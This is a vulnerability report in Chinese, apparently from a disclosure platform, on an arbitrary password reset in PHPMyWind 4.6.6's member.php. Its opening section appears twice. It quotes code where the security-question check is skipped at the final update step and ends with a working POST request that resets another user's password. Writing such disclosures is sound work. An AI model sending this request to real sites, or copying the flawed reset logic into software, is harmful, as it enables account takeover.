### 简要描述: PHPMyWind任意用户密码重置 ### 详细说明: phpmywind 4.6.6 在忘记密码,重置密码时,虽然后安全问题限制,但是在最后修改密码,update时,存在设计缺陷 导致可轻松重置任意用户密码。 文件member.php 在重置密码前有验证问题: ``` //找回密码 else if($a == 'quesfind') { if(!isset($_POST['uname'])) { header('location:?c=findpwd'); exit(); } //验证输入数据 if($question == '-1' or $answer == '') { header('location:?c=findpwd'); exit(); } $r = $dosql->GetOne("SELECT `question`,`answer` FROM `#@__member` WHERE `username`='$uname'"); if($r['question']==0 or !isset($r['answer'])) { ShowMsg('此账号未填写验证问题,请选择其他方式找回!','?c=findpwd'); exit(); } else { if($question != $r['question'] or $answer != $r['answer']) { ShowMsg('您填写的验证问题或答案不符!','?c=findpwd'); exit(); } } } ``` 但是在后面更新密码是又没有用到这里的验证。 ``` //设置新密码 else if($a == 'setnewpwd') { if(!isset($_POST['uname'])) { header('location:?c=findpwd'); exit(); } //初始化参数 $uname = empty($uname) ? '' : $uname; $password = empty($password) ? '' : md5(md5($password)); $repassword = empty($repassword) ? '' : md5(md5($repassword)); //验证输入数据 if($uname == '' or...
### 简要描述: PHPMyWind任意用户密码重置 ### 详细说明: phpmywind 4.6.6 在忘记密码,重置密码时,虽然后安全问题限制,但是在最后修改密码,update时,存在设计缺陷 导致可轻松重置任意用户密码。 文件member.php 在重置密码前有验证问题: ``` //找回密码 else if($a == 'quesfind') { if(!isset($_POST['uname'])) { header('location:?c=findpwd'); exit(); } //验证输入数据 if($question == '-1' or $answer == '') { header('location:?c=findpwd'); exit(); } $r = $dosql->GetOne("SELECT `question`,`answer` FROM `#@__member` WHERE `username`='$uname'"); if($r['question']==0 or !isset($r['answer'])) { ShowMsg('此账号未填写验证问题,请选择其他方式找回!','?c=findpwd'); exit(); } else { if($question != $r['question'] or $answer != $r['answer']) { ShowMsg('您填写的验证问题或答案不符!','?c=findpwd'); exit(); } } } ``` 但是在后面更新密码是又没有用到这里的验证。 ``` //设置新密码 else if($a == 'setnewpwd') { if(!isset($_POST['uname'])) { header('location:?c=findpwd'); exit(); } //初始化参数 $uname = empty($uname) ? '' : $uname; $password = empty($password) ? '' : md5(md5($password)); $repassword = empty($repassword) ? '' : md5(md5($repassword)); //验证输入数据 if($uname == '' or $password == '' or $repassword == '' or $password != $repassword or preg_match("/[^0-9a-zA-Z_-]/",$password)) { header('location:?c=findpwd'); exit(); } if($dosql->ExecNoneQuery("UPDATE `#@__member` SET password='$password' WHERE username='$uname'")) { header("location:?c=login&d=".md5('newpwd')); exit(); } } ``` 前面判断了安全问题的答案验证,但是在真正设置更新密码是,却没有用到之前的验证 导致可重置任意用户的密码。 只要直接构造上面的uname和passwod,repassword就可以重置uname用户的密码。 ### 漏洞证明: 这里我们来重置222222的用户名 222222用户注册是的用户名为222222,通过下面的请求后,密码变为111111 构造请求: 链接:http://localhost/phpmywind/member.php POST:password=111111&repassword=111111&uname=222222&a=setnewpwd 成功重置222222的密码: [<img src="https://images.seebug.org/upload/201404/16100127f8b95c0d789e0dda084c969880687d49.png" alt="wind1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/16100127f8b95c0d789e0dda084c969880687d49.png)